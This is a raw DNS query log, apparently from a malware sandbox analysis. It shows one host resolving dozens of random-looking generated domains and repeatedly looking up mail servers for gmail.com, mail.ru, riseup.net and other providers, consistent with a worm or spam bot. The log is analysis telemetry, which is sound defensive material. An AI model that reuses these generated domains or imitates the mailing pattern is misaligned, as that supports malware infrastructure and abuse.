Oct 31, 2022 12:20:27.863054991 CET	192.168.2.5	8.8.8.8	0xbdc6	Standard query (0)	nmerqanann.us	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:27.898001909 CET	192.168.2.5	8.8.8.8	0xb87	Standard query (0)	hpswpmhqah.net	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:27.933588982 CET	192.168.2.5	8.8.8.8	0x8483	Standard query (0)	psqesnmpph.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:27.987864017 CET	192.168.2.5	8.8.8.8	0x5337	Standard query (0)	hwnwwhmapa.net	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:28.017003059 CET	192.168.2.5	8.8.8.8	0x3cc5	Standard query (0)	nerrawwees.us	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:28.057358027 CET	192.168.2.5	8.8.8.8	0xe270	Standard query (0)	smqnsaanqs.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:28.116774082 CET	192.168.2.5	8.8.8.8	0x5924	Standard query (0)	pehawnswha.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:28.144273043 CET	192.168.2.5	8.8.8.8	0x4fc4	Standard query (0)	wsmsannrsr.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:28.174186945 CET	192.168.2.5	8.8.8.8	0xeb39	Standard query (0)	pnmhpsaqwn.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:28.206598997 CET	192.168.2.5	8.8.8.8	0x2f56	Standard query (0)	wpraeqahma.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:28.235152006 CET	192.168.2.5	8.8.8.8	0xea1d	Standard query (0)	napenhsmha.us	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:28.261465073 CET	192.168.2.5	8.8.8.8	0xe4ca	Standard query (0)	manrhhmrsn.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:28.291582108 CET	192.168.2.5	8.8.8.8	0x222b	Standard query (0)	rqsepprwmh.org	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:28.326767921 CET	192.168.2.5	8.8.8.8	0x2c6b	Standard query (0)	wnrphnsawn.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:28.353323936 CET	192.168.2.5	8.8.8.8	0x9bb9	Standard query (0)	npeewrpmsh.us	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:28.380732059 CET	192.168.2.5	8.8.8.8	0xb9b8	Standard query (0)	spmpesqama.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:28.417747974 CET	192.168.2.5	8.8.8.8	0xf8b7	Standard query (0)	rpwrwpqmrs.org	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:28.564848900 CET	192.168.2.5	8.8.8.8	0x1a23	Standard query (0)	smspppawmn.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:28.594466925 CET	192.168.2.5	8.8.8.8	0x7503	Standard query (0)	pmrqmemawa.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:28.615284920 CET	192.168.2.5	8.8.8.8	0x542	Standard query (0)	aspmx2.googlemail.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:28.625649929 CET	192.168.2.5	8.8.8.8	0x8b0	Standard query (0)	wmphheprha.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:28.669734955 CET	192.168.2.5	8.8.8.8	0x917b	Standard query (0)	prmaahsmqs.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:28.699953079 CET	192.168.2.5	8.8.8.8	0x7358	Standard query (0)	emhmmwaasa.ws	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:28.888300896 CET	192.168.2.5	8.8.8.8	0x55c4	Standard query (0)	gmail.com	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:28.912130117 CET	192.168.2.5	8.8.8.8	0x5d8a	Standard query (0)	alt4.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:28.920968056 CET	192.168.2.5	8.8.8.8	0xdf55	Standard query (0)	riseup.net	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:28.945965052 CET	192.168.2.5	8.8.8.8	0x53f9	Standard query (0)	mx1.riseup.net	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:29.076754093 CET	192.168.2.5	8.8.8.8	0x4dc6	Standard query (0)	alt1.aspmx.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:29.077570915 CET	192.168.2.5	8.8.8.8	0x6431	Standard query (0)	gmail.com	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:29.099716902 CET	192.168.2.5	8.8.8.8	0x5cf2	Standard query (0)	alt2.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:29.119376898 CET	192.168.2.5	8.8.8.8	0x71b0	Standard query (0)	pehprrmnns.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:29.123858929 CET	192.168.2.5	8.8.8.8	0x9249	Standard query (0)	mail.ru	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:29.146574974 CET	192.168.2.5	8.8.8.8	0x75ca	Standard query (0)	hwenrqmmmh.net	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:29.153328896 CET	192.168.2.5	8.8.8.8	0x8615	Standard query (0)	mxs.mail.ru	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:29.183352947 CET	192.168.2.5	8.8.8.8	0xafeb	Standard query (0)	nhamrnqsps.us	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:29.209913015 CET	192.168.2.5	8.8.8.8	0x96cd	Standard query (0)	wpnermpasr.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:29.237251043 CET	192.168.2.5	8.8.8.8	0x338a	Standard query (0)	nnhssqsasr.us	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:29.264344931 CET	192.168.2.5	8.8.8.8	0x5d71	Standard query (0)	mnmrweahpn.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:29.289349079 CET	192.168.2.5	8.8.8.8	0x68f1	Standard query (0)	nhseewhaps.us	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:29.319571018 CET	192.168.2.5	8.8.8.8	0xca8a	Standard query (0)	msaemqshmh.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:29.345472097 CET	192.168.2.5	8.8.8.8	0x21ce	Standard query (0)	aewnhwwpwa.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:29.371540070 CET	192.168.2.5	8.8.8.8	0x4f1b	Standard query (0)	snarawppsr.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:29.399259090 CET	192.168.2.5	8.8.8.8	0x4cf4	Standard query (0)	qsaqhnrwwn.info	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:29.433026075 CET	192.168.2.5	8.8.8.8	0xb21f	Standard query (0)	swqrheamea.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:29.467056990 CET	192.168.2.5	8.8.8.8	0xb18c	Standard query (0)	aeaqppqhqs.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:29.515758991 CET	192.168.2.5	8.8.8.8	0x4cbe	Standard query (0)	mpnssapaws.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:29.540052891 CET	192.168.2.5	8.8.8.8	0x7f27	Standard query (0)	rnehrmnwqa.org	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:30.525465965 CET	192.168.2.5	8.8.8.8	0x7f27	Standard query (0)	rnehrmnwqa.org	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:30.642304897 CET	192.168.2.5	8.8.8.8	0x4fe7	Standard query (0)	wnnqnrwqea.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:30.677254915 CET	192.168.2.5	8.8.8.8	0x1586	Standard query (0)	qnmmhnspwn.info	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:30.713943005 CET	192.168.2.5	8.8.8.8	0xe99e	Standard query (0)	wwaqpenhnn.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:30.744185925 CET	192.168.2.5	8.8.8.8	0xb2bb	Standard query (0)	rnrnqqawqs.org	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:30.801383972 CET	192.168.2.5	8.8.8.8	0xb774	Standard query (0)	mmmphaeann.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:30.835643053 CET	192.168.2.5	8.8.8.8	0xa59c	Standard query (0)	aweqaesrms.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:30.876596928 CET	192.168.2.5	8.8.8.8	0xfeef	Standard query (0)	hswwqmmseh.net	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:30.905956984 CET	192.168.2.5	8.8.8.8	0x9bf8	Standard query (0)	qhqqqnerss.info	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:31.915916920 CET	192.168.2.5	8.8.8.8	0x9bf8	Standard query (0)	qhqqqnerss.info	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:31.944062948 CET	192.168.2.5	8.8.8.8	0xcc24	Standard query (0)	wnnempshra.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:31.971436977 CET	192.168.2.5	8.8.8.8	0xe938	Standard query (0)	qnhwpqaans.info	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:32.025804996 CET	192.168.2.5	8.8.8.8	0xc0a1	Standard query (0)	mpmhhhprnn.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:32.050234079 CET	192.168.2.5	8.8.8.8	0x97c9	Standard query (0)	qhwqwrpwnn.info	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:32.111550093 CET	192.168.2.5	8.8.8.8	0xc5fb	Standard query (0)	mhaewrqnps.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:32.135974884 CET	192.168.2.5	8.8.8.8	0x7675	Standard query (0)	psqeppnaha.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:32.167238951 CET	192.168.2.5	8.8.8.8	0x8b51	Standard query (0)	maanhsqens.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:32.194593906 CET	192.168.2.5	8.8.8.8	0x526	Standard query (0)	qsspraneas.info	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:32.238512993 CET	192.168.2.5	8.8.8.8	0x6be5	Standard query (0)	msprmhpesa.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:32.264178038 CET	192.168.2.5	8.8.8.8	0x62b5	Standard query (0)	nrmwqewpnn.us	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:32.296879053 CET	192.168.2.5	8.8.8.8	0xc87b	Standard query (0)	sphpehqmsh.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:32.328975916 CET	192.168.2.5	8.8.8.8	0x1d57	Standard query (0)	nwrrsharmn.us	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:32.364291906 CET	192.168.2.5	8.8.8.8	0x1de1	Standard query (0)	wnhpqrweas.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:32.393126011 CET	192.168.2.5	8.8.8.8	0xd16c	Standard query (0)	rmmwpwhapn.org	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:32.425436974 CET	192.168.2.5	8.8.8.8	0x4376	Standard query (0)	hharwnqhha.net	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:32.451524019 CET	192.168.2.5	8.8.8.8	0xd93	Standard query (0)	rrqmmwahna.org	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:32.542072058 CET	192.168.2.5	8.8.8.8	0x264f	Standard query (0)	ssapaqsepa.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:32.570823908 CET	192.168.2.5	8.8.8.8	0xa3bf	Standard query (0)	qqewasnrnr.info	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:32.628247976 CET	192.168.2.5	8.8.8.8	0xedc9	Standard query (0)	mnpsepswhs.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:32.654000998 CET	192.168.2.5	8.8.8.8	0xc144	Standard query (0)	rammaswpsh.org	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:32.718271971 CET	192.168.2.5	8.8.8.8	0x7deb	Standard query (0)	ssmrnmspws.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:32.751317978 CET	192.168.2.5	8.8.8.8	0x7b33	Standard query (0)	resmarqarn.org	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:32.762506008 CET	192.168.2.5	8.8.8.8	0x80d2	Standard query (0)	alt3.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:32.796463966 CET	192.168.2.5	8.8.8.8	0x7973	Standard query (0)	mapasaqear.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:32.824506998 CET	192.168.2.5	8.8.8.8	0xc3c8	Standard query (0)	qsepnwpmna.info	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:32.880081892 CET	192.168.2.5	8.8.8.8	0x5bd6	Standard query (0)	eshmhnprpa.ws	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:33.171503067 CET	192.168.2.5	8.8.8.8	0x13a9	Standard query (0)	bog.msu.ru	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:33.188760996 CET	192.168.2.5	8.8.8.8	0x71b6	Standard query (0)	alt2.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:33.359755993 CET	192.168.2.5	8.8.8.8	0xe58e	Standard query (0)	qrrmswemps.info	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:33.395687103 CET	192.168.2.5	8.8.8.8	0xc137	Standard query (0)	hhsmeanamh.net	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:33.449960947 CET	192.168.2.5	8.8.8.8	0x1996	Standard query (0)	qeraempash.info	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:33.466209888 CET	192.168.2.5	8.8.8.8	0x59f5	Standard query (0)	gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:33.485636950 CET	192.168.2.5	8.8.8.8	0x5d4d	Standard query (0)	wrpeasspnn.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:33.527724028 CET	192.168.2.5	8.8.8.8	0xaa61	Standard query (0)	aspmx.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:33.531707048 CET	192.168.2.5	8.8.8.8	0x2a86	Standard query (0)	amqwpwewrs.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:33.569408894 CET	192.168.2.5	8.8.8.8	0x7cfa	Standard query (0)	hewamrprrs.net	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:33.598815918 CET	192.168.2.5	8.8.8.8	0x4ca7	Standard query (0)	nsneerhwrs.us	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:33.637396097 CET	192.168.2.5	8.8.8.8	0xa3b6	Standard query (0)	wphhpmahqs.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:33.710463047 CET	192.168.2.5	8.8.8.8	0xd646	Standard query (0)	nqrreahqrh.us	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:33.728604078 CET	192.168.2.5	8.8.8.8	0xed26	Standard query (0)	alt3.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:33.764635086 CET	192.168.2.5	8.8.8.8	0x2e15	Standard query (0)	hhwhmwmaws.net	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:33.801522017 CET	192.168.2.5	8.8.8.8	0xcf16	Standard query (0)	rphpaspqar.org	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:33.834136009 CET	192.168.2.5	8.8.8.8	0x498	Standard query (0)	hrwswapann.net	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:33.901721954 CET	192.168.2.5	8.8.8.8	0x6510	Standard query (0)	awharshhrh.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:33.942265034 CET	192.168.2.5	8.8.8.8	0x46c8	Standard query (0)	sqmmqqssea.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:33.975394964 CET	192.168.2.5	8.8.8.8	0x7255	Standard query (0)	alt4.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:33.988917112 CET	192.168.2.5	8.8.8.8	0x36ac	Standard query (0)	rrnpamehwa.org	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:34.024641991 CET	192.168.2.5	8.8.8.8	0x8246	Standard query (0)	aspmx3.googlemail.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:34.223273039 CET	192.168.2.5	8.8.8.8	0x13a9	Standard query (0)	bog.msu.ru	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:34.459646940 CET	192.168.2.5	8.8.8.8	0xe8bf	Standard query (0)	gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:35.193356991 CET	192.168.2.5	8.8.8.8	0xed0d	Standard query (0)	alt1.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:35.273942947 CET	192.168.2.5	8.8.8.8	0x13a9	Standard query (0)	bog.msu.ru	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:35.374617100 CET	192.168.2.5	8.8.8.8	0x4cc7	Standard query (0)	gzip.org	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:35.442693949 CET	192.168.2.5	8.8.8.8	0x9b3d	Standard query (0)	gzip.org	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:35.445364952 CET	192.168.2.5	8.8.8.8	0x7d53	Standard query (0)	alumni.caltech.edu	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:35.471622944 CET	192.168.2.5	8.8.8.8	0x5b90	Standard query (0)	alumni-caltech-edu.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:35.518130064 CET	192.168.2.5	8.8.8.8	0xab29	Standard query (0)	nongnu.org	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:35.650185108 CET	192.168.2.5	8.8.8.8	0x8f09	Standard query (0)	eggs.gnu.org	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:36.076632977 CET	192.168.2.5	8.8.8.8	0xb3fa	Standard query (0)	alt1.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:39.576859951 CET	192.168.2.5	8.8.8.8	0xc05	Standard query (0)	nongnu.org	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:39.592684031 CET	192.168.2.5	8.8.8.8	0x8af	Standard query (0)	kinoho.net	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:39.600764990 CET	192.168.2.5	8.8.8.8	0xe3f3	Standard query (0)	eggs.gnu.org	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:39.628467083 CET	192.168.2.5	8.8.8.8	0x37f0	Standard query (0)	gmail.com	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:39.650510073 CET	192.168.2.5	8.8.8.8	0x6299	Standard query (0)	alt2.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:39.658984900 CET	192.168.2.5	8.8.8.8	0x6593	Standard query (0)	aspmx3.googlemail.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:39.686379910 CET	192.168.2.5	8.8.8.8	0xcea2	Standard query (0)	riseup.net	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:39.711714983 CET	192.168.2.5	8.8.8.8	0xc050	Standard query (0)	mx1.riseup.net	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:40.164535046 CET	192.168.2.5	8.8.8.8	0xb6a2	Standard query (0)	aspmx2.googlemail.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:40.184391975 CET	192.168.2.5	8.8.8.8	0x73c1	Standard query (0)	alt3.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:40.576638937 CET	192.168.2.5	8.8.8.8	0x6bea	Standard query (0)	alt2.aspmx.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:41.060292959 CET	192.168.2.5	8.8.8.8	0x2774	Standard query (0)	gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:41.077972889 CET	192.168.2.5	8.8.8.8	0x5679	Standard query (0)	alt1.aspmx.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:41.502057076 CET	192.168.2.5	8.8.8.8	0xc3e6	Standard query (0)	aspmx.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:41.574901104 CET	192.168.2.5	8.8.8.8	0x1ab3	Standard query (0)	alt4.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:43.834975004 CET	192.168.2.5	8.8.8.8	0x127c	Standard query (0)	gmail.com	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:43.858138084 CET	192.168.2.5	8.8.8.8	0x36ce	Standard query (0)	alt2.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:43.873586893 CET	192.168.2.5	8.8.8.8	0x46f1	Standard query (0)	mail.ru	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:43.897311926 CET	192.168.2.5	8.8.8.8	0x7f8d	Standard query (0)	mxs.mail.ru	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:43.924096107 CET	192.168.2.5	8.8.8.8	0x5224	Standard query (0)	bog.msu.ru	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:44.390279055 CET	192.168.2.5	8.8.8.8	0x3345	Standard query (0)	alt3.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:44.945548058 CET	192.168.2.5	8.8.8.8	0x5224	Standard query (0)	bog.msu.ru	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:45.964775085 CET	192.168.2.5	8.8.8.8	0x5224	Standard query (0)	bog.msu.ru	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:46.017004013 CET	192.168.2.5	8.8.8.8	0xf597	Standard query (0)	alt1.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:46.230830908 CET	192.168.2.5	8.8.8.8	0x88e5	Standard query (0)	gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:46.482403040 CET	192.168.2.5	8.8.8.8	0xd0b	Standard query (0)	gzip.org	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:46.505548000 CET	192.168.2.5	8.8.8.8	0x10a	Standard query (0)	gzip.org	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:46.804831028 CET	192.168.2.5	8.8.8.8	0x79b7	Standard query (0)	alt4.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:48.959939003 CET	192.168.2.5	8.8.8.8	0xad64	Standard query (0)	alt1.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:50.611046076 CET	192.168.2.5	8.8.8.8	0x3406	Standard query (0)	alumni.caltech.edu	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:50.635234118 CET	192.168.2.5	8.8.8.8	0x13d5	Standard query (0)	alumni-caltech-edu.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:50.709650040 CET	192.168.2.5	8.8.8.8	0x941	Standard query (0)	nongnu.org	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:50.925667048 CET	192.168.2.5	8.8.8.8	0xee0b	Standard query (0)	eggs.gnu.org	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:50.992660999 CET	192.168.2.5	8.8.8.8	0x172c	Standard query (0)	nongnu.org	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:51.067373037 CET	192.168.2.5	8.8.8.8	0x42af	Standard query (0)	kinoho.net	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:51.121418953 CET	192.168.2.5	8.8.8.8	0xc6f5	Standard query (0)	aspmx3.googlemail.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:51.135166883 CET	192.168.2.5	8.8.8.8	0x477e	Standard query (0)	eggs.gnu.org	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:52.179006100 CET	192.168.2.5	8.8.8.8	0x347b	Standard query (0)	aspmx2.googlemail.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:53.798300028 CET	192.168.2.5	8.8.8.8	0x8c33	Standard query (0)	alt2.aspmx.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:54.275083065 CET	192.168.2.5	8.8.8.8	0xb099	Standard query (0)	ehnwnaqnss.ws	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:54.452681065 CET	192.168.2.5	8.8.8.8	0x8977	Standard query (0)	aspmx.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:54.685084105 CET	192.168.2.5	8.8.8.8	0xd542	Standard query (0)	rwmswamheh.org	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:54.717526913 CET	192.168.2.5	8.8.8.8	0x8411	Standard query (0)	wwaprrwnwa.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:54.742117882 CET	192.168.2.5	8.8.8.8	0x6be1	Standard query (0)	rrseshrqsn.org	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:54.795262098 CET	192.168.2.5	8.8.8.8	0x1179	Standard query (0)	hqremeeheh.net	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:54.912559986 CET	192.168.2.5	8.8.8.8	0xae4e	Standard query (0)	aspamphaqh.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:55.005846977 CET	192.168.2.5	8.8.8.8	0x4916	Standard query (0)	wereqmsnwh.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:55.063812017 CET	192.168.2.5	8.8.8.8	0x6e56	Standard query (0)	nwspmnannr.us	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:55.091648102 CET	192.168.2.5	8.8.8.8	0x4bec	Standard query (0)	swwmpphesa.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:55.127737999 CET	192.168.2.5	8.8.8.8	0x2938	Standard query (0)	peerrrehen.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:55.129017115 CET	192.168.2.5	8.8.8.8	0x4651	Standard query (0)	gmail.com	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:55.150768042 CET	192.168.2.5	8.8.8.8	0x517a	Standard query (0)	gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:55.162980080 CET	192.168.2.5	8.8.8.8	0xc75a	Standard query (0)	sreeshwpmh.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:55.175926924 CET	192.168.2.5	8.8.8.8	0xbeb2	Standard query (0)	riseup.net	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:55.194024086 CET	192.168.2.5	8.8.8.8	0x58a4	Standard query (0)	rnnnpannna.org	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:55.237135887 CET	192.168.2.5	8.8.8.8	0x7389	Standard query (0)	mx1.riseup.net	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:55.269450903 CET	192.168.2.5	8.8.8.8	0x59f9	Standard query (0)	mail.ru	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:55.271030903 CET	192.168.2.5	8.8.8.8	0xa43a	Standard query (0)	gmail.com	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:55.293661118 CET	192.168.2.5	8.8.8.8	0x16ff	Standard query (0)	mxs.mail.ru	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:55.297769070 CET	192.168.2.5	8.8.8.8	0x759a	Standard query (0)	alt4.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:55.307564974 CET	192.168.2.5	8.8.8.8	0x71da	Standard query (0)	emqewenpsh.ws	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:55.650944948 CET	192.168.2.5	8.8.8.8	0x268f	Standard query (0)	alt2.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:55.736538887 CET	192.168.2.5	8.8.8.8	0xc649	Standard query (0)	penpnnehwa.in	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:55.764090061 CET	192.168.2.5	8.8.8.8	0x4757	Standard query (0)	mnwqmqhrsh.in	A (IP address)	IN (0x0001)	false
